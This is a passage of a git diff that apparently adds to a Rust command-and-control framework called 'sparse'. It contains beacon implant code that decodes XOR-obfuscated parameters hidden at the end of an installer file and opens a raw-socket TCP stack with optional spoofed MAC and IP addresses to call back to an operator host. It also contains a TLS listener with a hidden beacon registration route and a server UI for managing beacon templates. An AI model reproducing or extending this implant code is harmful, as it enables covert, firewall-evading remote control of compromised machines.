.iter_mut() - .filter_map(|(k, v)| if (f)(k, v) { Some(k.clone()) } else { None }) - .collect::>(); - - for name in to_prune { - self.interfaces.remove(&name); - } - } - - pub fn set_filter( - &mut self, - filter: &str, - optimize: bool, - mask: Option, - ) -> error::Result>> { - if self.crash { - self.interfaces - .iter_mut() - .map(|(name, interface)| { - interface - .set_filter(filter, optimize, mask) - .map(|bpf| (&**name, bpf)) - .map_err(|e| e.add_ifname(&name)) - }) - .collect::>() - } else { - Ok(self - .interfaces - .iter_mut() - .filter_map(|(name, interface)| { - let name_clone = name.clone(); - interface - .set_filter(filter, optimize, mask) - .map(|bpf| (&**name, bpf)) - .ok() - .or_else(|| { - println!("{} failed to set filter", name_clone); - None - }) - }) - .collect::<_>()) - } - } - - pub fn sendpacket(&self, ifname: &str, packet: packets::EthernetPkt) -> error::Result<()> { - if let Some(interface) = self.interfaces.get(ifname) { - interface - .sendpacket(packet) - .map_err(|e| e.add_ifname(ifname))?; - } - - Ok(()) - } -} - -impl AggregateInterface { - pub fn stream(self) -> error::Result> { - Ok(AggregateInterfaceStream { - streams: self - .interfaces - .into_iter() - .map(|(ifname, interface)| { - let new_name = ifname.clone(); - interface - .stream() - .map(|stream| (ifname, stream)) - .map_err(|e| e.add_ifname(&new_name)) - }) - .collect::>()?, - }) - } -} - -pub struct AggregateInterfaceStream { - streams: StreamMap>, -} - -impl AggregateInterfaceStream { - pub fn get_ifnames(&self) -> Vec<&str> { - self.streams.keys().map(|n| &**n).collect::<_>() - } - - pub fn sendpacket(&mut self, ifname: &str, packet: packets::EthernetPkt) -> error::Result<()> { - if let Some(interface) = self.streams.values_mut().find(|interface| { - interface.inner.get_ref().interface.dev_name.as_bytes() == ifname.as_bytes() - }) { - interface.sendpacket(packet)?; - } - - Ok(()) - } -} - -impl futures::Stream for AggregateInterfaceStream { - type Item = (String, error::Result); - - fn poll_next(mut self: Pin<&mut Self>, cx: &mut task::Context<'_>) -> Poll> { - self.streams.poll_next_unpin(cx) - } -} diff --git a/sparse-beacon/Cargo.toml b/sparse-beacon/Cargo.toml index eebc818..e61f134 100644 --- a/sparse-beacon/Cargo.toml +++ b/sparse-beacon/Cargo.toml @@ -5,4 +5,21 @@ edition = "2021" publish = false [dependencies] -pcap-sys = { path = "../pcap-sys" } +hyper = { version = "1.6.0", features = ["client", "http1", "http2"] } +smoltcp = { version = "0.12.0", default-features = false, features = ["async", "log", "medium-ethernet", "proto-ipv4", "proto-ipv4-fragmentation", "socket-raw", "socket-tcp", "std"] } +thiserror = "2.0.11" +tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "net", "process", "rt", "sync", "tokio-macros"] } +async-trait = "0.1.86" +tracing = "0.1.41" +rand = "0.9.0" +pin-project = "1.1.9" +hyper-util = { version = "0.1.10", features = ["client", "client-legacy", "http1", "http2", "service", "tokio"] } +hyper-rustls = { version = "0.27.5", default-features = false, features = ["http1", "http2", "native-tokio", "ring", "tls12"] } +tower-service = "0.3.3" +futures = "0.3.31" +simple_logger = "5.0.0" + +pcap-sys = { version = "0.1.0", path = "../pcap-sys" } +sparse-actions = { version = "2.0.0", path = "../sparse-actions" } +packets = { version = "0.1.0", path = "../packets" } +nl-sys = { version = "0.1.0", path = "../nl-sys" } diff --git a/sparse-beacon/src/adapter.rs b/sparse-beacon/src/adapter.rs new file mode 100644 index 0000000..0a0a706 --- /dev/null +++ b/sparse-beacon/src/adapter.rs @@ -0,0 +1,29 @@ +use std::net::Ipv4Addr; + +use crate::error; + +#[derive(Debug)] +pub struct BeaconRoute { + pub network: (Ipv4Addr, u8), + pub gateway: (Ipv4Addr, u8), + pub interface_index: usize, +} + +pub struct BeaconNetworkingInfo { + pub routes: Vec, + pub interfaces: Vec, +} + +#[derive(Debug)] +pub struct BeaconInterface { + pub name: Vec, + pub mtu: u16, + pub mac_addr: [u8; 6], +} + +#[async_trait::async_trait] +pub trait BeaconAdapter { + fn interface_name_from_interface(interface: &BeaconInterface) -> Vec; + + fn networking_info(&self) -> Result; +} diff --git a/sparse-beacon/src/callback.rs b/sparse-beacon/src/callback.rs new file mode 100644 index 0000000..66bc9dc --- /dev/null +++ b/sparse-beacon/src/callback.rs @@ -0,0 +1,337 @@ +use std::{ + future::Future, + net::Ipv4Addr, + pin::Pin, + sync::{Arc, Mutex}, + task::{Context, Poll}, +}; + +use futures::ready; +use smoltcp::{ + iface::{Config, Interface, SocketHandle, SocketSet}, + socket::tcp::{RecvError, SendError, Socket, SocketBuffer, State}, + time::Instant, + wire::{EthernetAddress, IpCidr, Ipv4Address}, +}; +use tokio::{ + io::{AsyncRead, AsyncReadExt, AsyncWrite, AsyncWriteExt}, + task::{spawn, spawn_blocking, JoinHandle}, +}; + +use sparse_actions::payload_types::Parameters; + +use crate::{adapter, error}; + +pub struct NetInterfaceHandle { + net: Arc, crate::socket::RawSocket, Interface)>>, + tcp_handle: SocketHandle, + + background_process: JoinHandle<()>, +} + +impl Drop for NetInterfaceHandle { + fn drop(&mut self) { + self.background_process.abort(); + } +} + +impl AsyncRead for NetInterfaceHandle { + fn poll_read( + self: Pin<&mut Self>, + cx: &mut Context<'_>, + tbuf: &mut tokio::io::ReadBuf<'_>, + ) -> Poll> { + let this = self.get_mut(); + let Ok(mut inner) = this.net.lock() else { + return Poll::Ready(Err(std::io::Error::new( + std::io::ErrorKind::BrokenPipe, + "mutex for tcp connection is poisoned", + ))); + }; + let (ref mut s_guard, _, _) = *inner; + + let socket = s_guard.get_mut::(this.tcp_handle); + + let has_data = socket.can_recv(); + while socket.can_recv() { + let buf = match socket.recv(|buf| (buf.len(), buf.to_vec())) { + Ok(v) => v, + Err(RecvError::InvalidState) => { + return Poll::Ready(Err(std::io::Error::new( + std::io::ErrorKind::NetworkDown, + "received InvalidState from smoltcp", + ))); + } + Err(RecvError::Finished) => { + return Poll::Ready(Err(std::io::Error::new( + std::io::ErrorKind::BrokenPipe, + "tried reading from finished connection", + ))); + } + }; + tbuf.put_slice(&buf); + } + + socket.register_recv_waker(cx.waker()); + + if has_data { + Poll::Ready(Ok(())) + } else { + Poll::Pending + } + } +} + +impl AsyncWrite for NetInterfaceHandle { + fn poll_write( + self: Pin<&mut Self>, + cx: &mut Context<'_>, + src: &[u8], + ) -> Poll> { + let this = self.get_mut(); + let Ok(mut inner) = this.net.lock() else { + return Poll::Ready(Err(std::io::Error::new( + std::io::ErrorKind::BrokenPipe, + "mutex for tcp connection is poisoned", + ))); + }; + let (ref mut s_guard, _, _) = *inner; + + let socket = s_guard.get_mut::(this.tcp_handle); + + socket.register_send_waker(cx.waker()); + + if socket.can_send() { + let to_send = socket.send_capacity().min(src.len()); + match socket.send_slice(&src[..to_send]) { + Ok(s) => Poll::Ready(Ok(s)), + Err(SendError::InvalidState) => { + return Poll::Ready(Err(std::io::Error::new( + std::io::ErrorKind::NetworkDown, + "received InvalidState from smoltcp", + ))) + } + } + } else { + Poll::Pending + } + } + + fn poll_flush(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + Poll::Ready(Ok(())) + } + + fn poll_shutdown(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + let this = self.get_mut(); + let Ok(mut inner) = this.net.lock() else { + return Poll::Ready(Err(std::io::Error::new( + std::io::ErrorKind::BrokenPipe, + "mutex for tcp connection is poisoned", + ))); + }; + let (ref mut s_guard, _, _) = *inner; + + let socket = s_guard.get_mut::(this.tcp_handle); + socket.close(); + + Poll::Ready(Ok(())) + } +} + +pub async fn setup_network( + adapter: &T, + parameters: &Parameters, +) -> Result +where + T: adapter::BeaconAdapter + Clone + Send + 'static, +{ + let net_info = tokio::task::spawn_blocking({ + let adapter = adapter.clone(); + move || adapter.networking_info() + }) + .await??; + + let (interface, gateway_ip, mac_address, source_ip, netmask) = match unsafe { + parameters.source_ip.custom_networking.mode + } { + 0 => { + // custom networking + let interface_name = unsafe { + ¶meters.source_ip.custom_networking.interface + [..parameters.source_ip.custom_networking.interface_len as usize] + }; + + let interface = if interface_name.is_empty() { + let Some(default_route) = net_info.routes.iter().find(|r| r.network.1 == 0) else { + return Err(error::BeaconError::NoDefaultRoute); + }; + + &net_info.interfaces[default_route.interface_index] + } else { + net_info + .interfaces + .iter() + .find(|intf| intf.name == interface_name) + .ok_or(error::BeaconError::NoDefaultRoute)? + }; + + unsafe { + ( + interface, + Ipv4Addr::new( + parameters.source_ip.custom_networking.gateway.a, + parameters.source_ip.custom_networking.gateway.b, + parameters.source_ip.custom_networking.gateway.c, + parameters.source_ip.custom_networking.gateway.d, + ), + parameters.source_ip.custom_networking.source_mac.clone(), + Ipv4Addr::new( + parameters.source_ip.custom_networking.source_ip.a, + parameters.source_ip.custom_networking.source_ip.b, + parameters.source_ip.custom_networking.source_ip.c, + parameters.source_ip.custom_networking.source_ip.d, + ), + parameters.source_ip.custom_networking.netmask as u8, + ) + } + } + 1 => { + // host networking + let Some(default_route) = net_info.routes.iter().find(|r| r.network.1 == 0) else { + return Err(error::BeaconError::NoDefaultRoute); + }; + + let default_route_if = &net_info.interfaces[default_route.interface_index]; + + ( + default_route_if, + default_route.gateway.0, + default_route_if.mac_addr.clone(), + unsafe { + Ipv4Addr::new( + parameters.source_ip.use_host_networking.source_ip.a, + parameters.source_ip.use_host_networking.source_ip.b, + parameters.source_ip.use_host_networking.source_ip.c, + parameters.source_ip.use_host_networking.source_ip.d, + ) + }, + default_route.gateway.1, + ) + } + _ => panic!("Corrupted parameters present!"), + }; + + let go_promisc = mac_address != [0, 0, 0, 0, 0, 0]; + let mac_address = Some(mac_address) + .filter(|smac| smac != &[0, 0, 0, 0, 0, 0]) + .unwrap_or(interface.mac_addr); + + let local_port = 49152 + rand::random::() % 16384; + let mut device = crate::socket::RawSocket::new::(interface, go_promisc, local_port)?; + + let mut config = Config::new(EthernetAddress(mac_address).into()); + config.random_seed = rand::random(); + + let mut iface = Interface::new(config, &mut device, Instant::now()); + iface.update_ip_addrs(|addrs| { + addrs + .push(IpCidr::new(source_ip.into(), netmask)) + .expect("could not add new IP address"); + }); + iface + .routes_mut() + .add_default_ipv4_route(gateway_ip.into()) + .expect("did not expect route table to be full"); + + let tcp_rx_buffer = SocketBuffer::new(vec![0; 8192]); + let tcp_tx_buffer = SocketBuffer::new(vec![0; 8192]); + let tcp_socket = Socket::new(tcp_rx_buffer, tcp_tx_buffer); + + let mut sockets = SocketSet::new(vec![]); + let tcp_handle = sockets.add(tcp_socket); + + let mut active = false; + let ready_wait = device.get_ready_wait_callback(); + + let destination = ( + Ipv4Address::new( + parameters.destination_ip.a, + parameters.destination_ip.b, + parameters.destination_ip.c, + parameters.destination_ip.d, + ), + 8080, //parameters.destination_port, + ); + + while !active { + let timestamp = Instant::now(); + iface.poll(timestamp, &mut device, &mut sockets); + + let cx = iface.context(); + + let socket = sockets.get_mut::(tcp_handle); + if !socket.is_active() { + socket.connect(cx, destination, local_port)?; + } + active = socket.is_active() && socket.state() == State::Established; + + ready_wait.wait(iface.poll_delay(timestamp, &sockets).map(Into::into))?; + } + + let net = Arc::new(Mutex::new((sockets, device, iface))); + + let background_process = spawn({ + let net = Arc::clone(&net); + + async move { + loop { + let delay = { + let Ok(mut guard) = net.lock() else { + continue; + }; + let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard; + + let timestamp = Instant::now(); + i_guard.poll(timestamp, d_guard, s_guard); + + i_guard.poll_delay(timestamp, s_guard) + }; + + let _ = ready_wait.wait(delay.map(Into::into)); + } + } + }); + + Ok(NetInterfaceHandle { + net, + tcp_handle, + + background_process, + }) +} + +pub async fn perform_callback( + adapter: &T, + parameters: &Parameters, +) -> Result<(), error::BeaconError> +where + T: adapter::BeaconAdapter + Clone + Send + 'static, +{ + println!("Attempting net connection..."); + let mut net_handle = setup_network(adapter, parameters).await?; + println!("Got connection!"); + + let mut buffer = vec![0u8; 4096]; + + net_handle.write(&*b"Hello there\n").await?; + + while let Ok(v) = net_handle.read(&mut buffer).await { + println!("Received {v} bytes: {:?}", &buffer[..v]); + + net_handle.write(&buffer[..v]).await?; + } + + println!("Finishing connection"); + + Ok(()) +} diff --git a/sparse-beacon/src/error.rs b/sparse-beacon/src/error.rs new file mode 100644 index 0000000..e6919ba --- /dev/null +++ b/sparse-beacon/src/error.rs @@ -0,0 +1,19 @@ +use thiserror::Error; + +#[derive(Error, Debug)] +pub enum BeaconError { + #[error("io error")] + Io(#[from] std::io::Error), + #[error("pcap error")] + Pcap(#[from] pcap_sys::error::Error), + #[error("utf8 decoding error")] + Utf8(#[from] std::str::Utf8Error), + #[error("task join error")] + Join(#[from] tokio::task::JoinError), + #[error("could not find default route")] + NoDefaultRoute, + #[error("connection error")] + Connect(#[from] smoltcp::socket::tcp::ConnectError), + #[error("netlink error")] + Nl(#[from] nl_sys::error::Error), +} diff --git a/sparse-beacon/src/lib.rs b/sparse-beacon/src/lib.rs index df5dac5..6198b70 100644 --- a/sparse-beacon/src/lib.rs +++ b/sparse-beacon/src/lib.rs @@ -1 +1,16 @@ -pub fn run_beacon_step() {} +use sparse_actions::payload_types::Parameters; + +pub mod adapter; +mod callback; +pub mod error; +mod socket; +pub use error::BeaconError; + +pub async fn run_beacon_step(host_adapter: A, params: Parameters) -> Result<(), BeaconError> +where + A: adapter::BeaconAdapter + Clone + Send + 'static, +{ + callback::perform_callback(&host_adapter, ¶ms).await?; + + Ok(()) +} diff --git a/sparse-beacon/src/main.rs b/sparse-beacon/src/main.rs new file mode 100644 index 0000000..ea723e3 --- /dev/null +++ b/sparse-beacon/src/main.rs @@ -0,0 +1,113 @@ +use std::{io::SeekFrom, net::Ipv4Addr}; + +use tokio::io::{AsyncReadExt, AsyncSeekExt}; + +use nl_sys::netlink; + +use sparse_actions::payload_types::{Parameters, XOR_KEY}; +use sparse_beacon::{ + adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute}, + error, +}; + +#[derive(Clone)] +struct LinuxAdapter; + +#[async_trait::async_trait] +impl BeaconAdapter for LinuxAdapter { + fn interface_name_from_interface(interface: &BeaconInterface) -> Vec { + interface.name.clone() + } + + fn networking_info(&self) -> Result { + let nlsock = netlink::Socket::new()?; + + let routes = nlsock.get_routes()?; + let links = nlsock.get_links()?; + let links_vec = links.iter().collect::>(); + + Ok(BeaconNetworkingInfo { + routes: routes + .iter() + .filter_map(|r| { + let dst = r.dst()?; + let dst4: Ipv4Addr = (&dst).try_into().ok()?; + + let next_hop = r.nexthop(0)?; + let gateway = next_hop.gateway()?; + let gateway4: Ipv4Addr = (&gateway).try_into().ok()?; + let gateway_int = u32::from(gateway4); + + let src_cidr = routes.iter().find_map(|r| { + let dst = r.dst()?; + let dst4: Ipv4Addr = (&dst).try_into().ok()?; + + if dst.cidrlen() == 0 { + return None; + } + + let mask = (0xFFFFFFFFu32.overflowing_shr(32 - dst.cidrlen())) + .0 + .overflowing_shl(32 - dst.cidrlen()) + .0; + + if (mask & u32::from(dst4)) == (mask & gateway_int) { + Some(dst.cidrlen()) + } else { + None + } + })?; + + Some(BeaconRoute { + network: (dst4, dst.cidrlen() as u8), + gateway: (gateway4, src_cidr as u8), + interface_index: links_vec + .iter() + .position(|l| l.ifindex() == next_hop.ifindex())?, + }) + }) + .collect(), + interfaces: links + .iter() + .filter_map(|l| { + let mac_addr = l.addr().hw_address(); + + Some(BeaconInterface { + name: l.name().as_bytes().to_owned(), + mtu: (l.mtu() & 0xFFFF) as u16, + mac_addr: mac_addr.try_into().ok()?, + }) + }) + .collect(), + }) + } +} + +#[tokio::main] +async fn main() -> Result<(), sparse_beacon::BeaconError> { + let installer = std::env::args() + .skip(1) + .next() + .expect("Could not get a reference to a sparse installer"); + let mut installer_file = tokio::fs::OpenOptions::new() + .read(true) + .open(installer) + .await?; + + let parameters_size = std::mem::size_of::() as i64; + + installer_file.seek(SeekFrom::End(-parameters_size)).await?; + let mut parameters_buffer = Vec::with_capacity(parameters_size as usize); + installer_file.read_to_end(&mut parameters_buffer).await?; + + for b in parameters_buffer.iter_mut() { + *b = *b ^ (XOR_KEY as u8); + } + + let parameters: Parameters = + unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) }; + + sparse_beacon::run_beacon_step(LinuxAdapter, parameters).await?; + + Ok(()) +} diff --git a/sparse-beacon/src/socket.rs b/sparse-beacon/src/socket.rs new file mode 100644 index 0000000..cc236da --- /dev/null +++ b/sparse-beacon/src/socket.rs @@ -0,0 +1,132 @@ +use smoltcp::phy::{self, Device, DeviceCapabilities, Medium}; + +use pcap_sys::Interface; + +use crate::{adapter, error}; + +struct SocketInner { + lower: Interface, +} + +pub struct RawSocket { + inner: SocketInner, + mtu: usize, +} + +impl RawSocket { + pub fn new( + a_interface: &adapter::BeaconInterface, + promisc: bool, + port: u16, + ) -> Result { + let name_raw = T::interface_name_from_interface(&a_interface); + let name = std::str::from_utf8(&name_raw)?; + let mut lower = Interface::new(name)?; + + let mtu = a_interface.mtu as usize + if cfg!(unix) { 14 } else { 0 }; + + dbg!(promisc); + + lower.set_promisc(promisc)?; + lower.set_buffer_size(mtu as i32)?; + lower.set_non_blocking(true)?; + lower.set_buffer_size(8192)?; + lower.set_timeout(10)?; + + lower.activate()?; + + lower.set_filter(&format!("arp or (inbound and tcp port {port})"), true, None)?; + + Ok(Self { + inner: SocketInner { lower }, + mtu, + }) + } + + pub fn get_ready_wait_callback(&self) -> pcap_sys::WaitHandle { + self.inner.lower.get_wait_ready_callback() + } +} + +impl Device for RawSocket { + type RxToken<'a> + = RxToken + where + Self: 'a; + + type TxToken<'a> + = TxToken<'a> + where + Self: 'a; + + fn capabilities(&self) -> DeviceCapabilities { + let mut caps = DeviceCapabilities::default(); + + caps.max_transmission_unit = self.mtu; + caps.medium = Medium::Ethernet; + + caps + } + + fn receive( + &mut self, + _timestamp: smoltcp::time::Instant, + ) -> Option<(Self::RxToken<'_>, Self::TxToken<'_>)> { + match self.inner.lower.next_packet() { + Ok(p) => { + let rx = RxToken { + buffer: p.pkt().raw().to_vec(), + }; + let tx = TxToken { inner: &self.inner }; + Some((rx, tx)) + } + Err(pcap_sys::error::Error::Io(e)) if e.kind() == std::io::ErrorKind::WouldBlock => { + None + } + Err(e) => { + panic!("{}", e); + } + } + } + + fn transmit(&mut self, _timestamp: smoltcp::time::Instant) -> Option> { + Some(TxToken { inner: &self.inner }) + } +} + +pub struct TxToken<'a> { + inner: &'a SocketInner, +} + +impl phy::TxToken for TxToken<'_> { + fn consume(self, len: usize, f: F) -> R + where + F: FnOnce(&mut [u8]) -> R, + { + let mut buffer = vec![0; len]; + let result = f(&mut buffer); + let packet = packets::EthernetPacket::from_raw(buffer); + match self.inner.lower.sendpacket(packet.pkt()) { + Ok(_) => {} + Err(pcap_sys::error::Error::Io(e)) if e.kind() == std::io::ErrorKind::WouldBlock => { + println!("Failed to send due to non blocking mode"); + } + Err(err) => panic!("{}", err), + } + drop(packet); + result + } +} + +pub struct RxToken { + buffer: Vec, +} + +impl phy::RxToken for RxToken { + fn consume(self, f: F) -> R + where + F: FnOnce(&[u8]) -> R, + { + f(&self.buffer[..]) + } +} diff --git a/sparse-handler/src/lib.rs b/sparse-handler/src/lib.rs index 54182e7..ea24d40 100644 --- a/sparse-handler/src/lib.rs +++ b/sparse-handler/src/lib.rs @@ -3,14 +3,14 @@ use std::{ sync::{Arc, RwLock}, }; -use axum::routing::{get, post, Router}; +use axum::routing::{Router, get, post}; use sqlx::SqlitePool; use tokio::task::JoinHandle; pub mod error; pub struct BeaconListenerHandle { - join_handle: JoinHandle<()> + join_handle: JoinHandle<()>, } impl BeaconListenerHandle { @@ -34,7 +34,10 @@ impl std::ops::Deref for BeaconListenerMap { } } -pub async fn start_all_listeners(beacon_listener_map: BeaconListenerMap, db: SqlitePool) -> Result<(), crate::error::Error> { +pub async fn start_all_listeners( + beacon_listener_map: BeaconListenerMap, + db: SqlitePool, +) -> Result<(), crate::error::Error> { let listener_ids = sqlx::query!("SELECT listener_id FROM beacon_listener") .fetch_all(&db) .await?; @@ -42,7 +45,12 @@ pub async fn start_all_listeners(beacon_listener_map: BeaconListenerMap, db: Sql tracing::info!("Starting {} listener(s)...", listener_ids.len()); for listener in listener_ids { - start_listener(beacon_listener_map.clone(), listener.listener_id, db.clone()).await?; + start_listener( + beacon_listener_map.clone(), + listener.listener_id, + db.clone(), + ) + .await?; } Ok(()) @@ -50,7 +58,7 @@ pub async fn start_all_listeners(beacon_listener_map: BeaconListenerMap, db: Sql #[derive(Clone)] struct ListenerState { - db: SqlitePool + db: SqlitePool, } struct Listener { @@ -59,41 +67,59 @@ struct Listener { public_ip: String, domain_name: String, certificate: Vec, - privkey: Vec + privkey: Vec, } -pub async fn start_listener(beacon_listener_map: BeaconListenerMap, listener_id: i64, db: SqlitePool) -> Result<(), crate::error::Error> { +pub async fn start_listener( + beacon_listener_map: BeaconListenerMap, + listener_id: i64, + db: SqlitePool, +) -> Result<(), crate::error::Error> { { let Ok(blm_handle) = beacon_listener_map.read() else { - return Err(crate::error::Error::Generic("Could not acquire write lock on beacon listener map".to_string())); + return Err(crate::error::Error::Generic( + "Could not acquire write lock on beacon listener map".to_string(), + )); }; if blm_handle.get(&listener_id).is_some() { - return Err(crate::error::Error::Generic("Beacon listener already started".to_string())); + return Err(crate::error::Error::Generic( + "Beacon listener already started".to_string(), + )); } } - let listener = sqlx::query_as!(Listener, "SELECT * FROM beacon_listener WHERE listener_id = ?", listener_id) - .fetch_one(&db) - .await?; + let listener = sqlx::query_as!( + Listener, + "SELECT * FROM beacon_listener WHERE listener_id = ?", + listener_id + ) + .fetch_one(&db) + .await?; let app: Router<()> = Router::new() - .route("/register_beacon", post(|| async { - tracing::info!("Beacon attempting to register"); - })) - .route("/test", get(|| async { - tracing::info!("Hello"); - "hi there" - })) - .with_state(ListenerState { - db - }); + .route( + "/register_beacon", + post(|| async { + tracing::info!("Beacon attempting to register"); + }), + ) + .route( + "/test", + get(|| async { + tracing::info!("Hello"); + "hi there" + }), + ) + .with_state(ListenerState { db }); let hidden_app = Router::new().nest("/hidden_sparse", app); let keypair = match rustls::pki_types::PrivateKeyDer::try_from(listener.privkey.clone()) { Ok(pk) => pk, Err(e) => { - return Err(crate::error::Error::Generic(format!("Could not parse private key: {e}"))); + return Err(crate::error::Error::Generic(format!( + "Could not parse private key: {e}" + ))); } }; let cert = rustls::pki_types::CertificateDer::from(listener.certificate.clone()); @@ -105,17 +131,20 @@ pub async fn start_listener(beacon_listener_map: BeaconListenerMap, listener_id: let addr = std::net::SocketAddr::from(([0, 0, 0, 0], listener.port as u16)); - tracing::debug!("Starting listener {}, {}, on port {}", listener_id, listener.domain_name, listener.port); + tracing::debug!( + "Starting listener {}, {}, on port {}", + listener_id, + listener.domain_name, + listener.port + ); let join_handle = tokio::task::spawn(async move { let res = axum_server::tls_rustls::bind_rustls( addr, - axum_server::tls_rustls::RustlsConfig::from_config( - Arc::new(tls_config) - ) + axum_server::tls_rustls::RustlsConfig::from_config(Arc::new(tls_config)), ) - .serve(hidden_app.into_make_service()) - .await; + .serve(hidden_app.into_make_service()) + .await; if let Err(e) = res { tracing::error!("error running sparse listener: {e:?}"); @@ -123,12 +152,12 @@ pub async fn start_listener(beacon_listener_map: BeaconListenerMap, listener_id: }); let Ok(mut blm_handle) = beacon_listener_map.write() else { - return Err(crate::error::Error::Generic("Could not acquire write lock on beacon listener map".to_string())); + return Err(crate::error::Error::Generic( + "Could not acquire write lock on beacon listener map".to_string(), + )); }; - blm_handle.insert(listener_id, BeaconListenerHandle { - join_handle - }); + blm_handle.insert(listener_id, BeaconListenerHandle { join_handle }); Ok(()) } diff --git a/sparse-server/migrations/20250211235645_interface.sql b/sparse-server/migrations/20250211235645_interface.sql new file mode 100644 index 0000000..af119d3 --- /dev/null +++ b/sparse-server/migrations/20250211235645_interface.sql @@ -0,0 +1,2 @@ +-- Add migration script here +ALTER TABLE beacon_template ADD COLUMN source_interface blob DEFAULT ''; diff --git a/sparse-server/src/app.rs b/sparse-server/src/app.rs index 673c90a..100c65d 100644 --- a/sparse-server/src/app.rs +++ b/sparse-server/src/app.rs @@ -1,9 +1,9 @@ use leptos::{either::Either, prelude::*}; use leptos_meta::{provide_meta_context, MetaTags, Stylesheet, Title}; use leptos_router::{ - components::{A, ParentRoute, Route, Router, Routes}, + components::{ParentRoute, Route, Router, Routes, A}, hooks::use_query_map, - path + path, }; use crate::users::User; @@ -29,7 +29,7 @@ pub async fn me() -> Result, ServerFnError> { Ok(user.map(|user| User { user_id: user.user_id, - user_name: user.user_name + user_name: user.user_name, })) } @@ -73,10 +73,7 @@ pub fn App() -> impl IntoView { let (user_res, set_user_res) = signal(None::); - let user = Resource::new( - move || login.version().get(), - |_| async { me().await } - ); + let user = Resource::new(move || login.version().get(), |_| async { me().await }); #[cfg(feature = "hydrate")] Effect::new(move || { @@ -143,7 +140,12 @@ pub fn App() -> impl IntoView { #[component] fn LoginPage(login: ServerAction) -> impl IntoView { - let next = move || use_query_map().read().get("next").unwrap_or("/".to_string()); + let next = move || { + use_query_map() + .read() + .get("next") + .unwrap_or("/".to_string()) + }; view! {
diff --git a/sparse-server/src/beacons.rs b/sparse-server/src/beacons.rs index b49cfc9..6868264 100644 --- a/sparse-server/src/beacons.rs +++ b/sparse-server/src/beacons.rs @@ -36,7 +36,7 @@ pub struct BeaconResources { listeners: Resource, ServerFnError>>, categories: Resource, ServerFnError>>, configs: Resource, ServerFnError>>, - templates: Resource, ServerFnError>> + templates: Resource, ServerFnError>>, } pub fn provide_beacon_resources() { @@ -56,40 +56,48 @@ pub fn provide_beacon_resources() { let remove_template = ServerAction::::new(); let listeners = Resource::new( - move || ( - user.get(), - add_listener.version().get(), - remove_listener.version().get(), - ), - |_| async { listeners::get_listeners().await } + move || { + ( + user.get(), + add_listener.version().get(), + remove_listener.version().get(), + ) + }, + |_| async { listeners::get_listeners().await }, ); let categories = Resource::new( - move || ( - user.get(), - add_category.version().get(), - remove_category.version().get(), - rename_category.version().get(), - ), - |_| async { categories::get_categories().await } + move || { + ( + user.get(), + add_category.version().get(), + remove_category.version().get(), + rename_category.version().get(), + ) + }, + |_| async { categories::get_categories().await }, ); let configs = Resource::new( - move || ( - user.get(), - add_beacon_config.version().get(), - remove_beacon_config.version().get(), - ), - |_| async { configs::get_beacon_configs().await } + move || { + ( + user.get(), + add_beacon_config.version().get(), + remove_beacon_config.version().get(), + ) + }, + |_| async { configs::get_beacon_configs().await }, ); let templates = Resource::new( - move || ( - user.get(), - add_template.version().get(), - remove_template.version().get() - ), - |_| async { templates::get_templates().await } + move || { + ( + user.get(), + add_template.version().get(), + remove_template.version().get(), + ) + }, + |_| async { templates::get_templates().await }, ); provide_context(BeaconResources { @@ -106,7 +114,7 @@ pub fn provide_beacon_resources() { listeners, categories, configs, - templates + templates, }); } @@ -142,7 +150,7 @@ enum SortMethod { Listener, Config, Category, - Template + Template, } impl std::str::FromStr for SortMethod { @@ -154,7 +162,7 @@ impl std::str::FromStr for SortMethod { "Config" => Ok(Self::Config), "Category" => Ok(Self::Category), "Template" => Ok(Self::Template), - &_ => Err(()) + &_ => Err(()), } } } @@ -167,7 +175,8 @@ impl std::string::ToString for SortMethod { SM::Config => "Config", SM::Category => "Category", SM::Template => "Template", - }.to_string() + } + .to_string() } } diff --git a/sparse-server/src/beacons/categories.rs b/sparse-server/src/beacons/categories.rs index 5472dee..07929f8 100644 --- a/sparse-server/src/beacons/categories.rs +++ b/sparse-server/src/beacons/categories.rs @@ -1,18 +1,14 @@ use leptos::{either::Either, prelude::*}; -use serde::{Serialize, Deserialize}; +use serde::{Deserialize, Serialize}; #[cfg(feature = "ssr")] -use { - sqlx::SqlitePool, - leptos::server_fn::error::NoCustomError, - crate::db::user, -}; +use {crate::db::user, leptos::server_fn::error::NoCustomError, sqlx::SqlitePool}; use super::BeaconResources; #[derive(Clone, Serialize, Deserialize)] pub struct Category { pub category_id: i64, - pub category_name: String + pub category_name: String, } #[server] @@ -20,28 +16,26 @@ pub async fn get_categories() -> Result, ServerFnError> { let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } let db = expect_context::(); - Ok( - sqlx::query_as!( - Category, - "SELECT * FROM beacon_category" - ) - .fetch_all(&db) - .await? - ) + Ok(sqlx::query_as!(Category, "SELECT * FROM beacon_category") + .fetch_all(&db) + .await?) } - #[server] pub async fn add_category(name: String) -> Result<(), ServerFnError> { let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } let db = expect_context::(); @@ -50,8 +44,8 @@ pub async fn add_category(name: String) -> Result<(), ServerFnError> { "INSERT INTO beacon_category (category_name) VALUES (?)", name ) - .execute(&db) - .await?; + .execute(&db) + .await?; Ok(()) } @@ -61,15 +55,14 @@ pub async fn remove_category(id: i64) -> Result<(), ServerFnError> { let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } let db = expect_context::(); - sqlx::query!( - "DELETE FROM beacon_category WHERE category_id = ?", - id - ) + sqlx::query!("DELETE FROM beacon_category WHERE category_id = ?", id) .execute(&db) .await?; @@ -81,7 +74,9 @@ pub async fn rename_category(id: i64, name: String) -> Result<(), ServerFnError> let user = user::get_auth_session().await?; if user.is_none() { - return Err(ServerFnError::::ServerError("You are not signed in!".to_owned())); + return Err(ServerFnError::::ServerError( + "You are not signed in!".to_owned(), + )); } let db = expect_context::(); @@ -91,15 +86,19 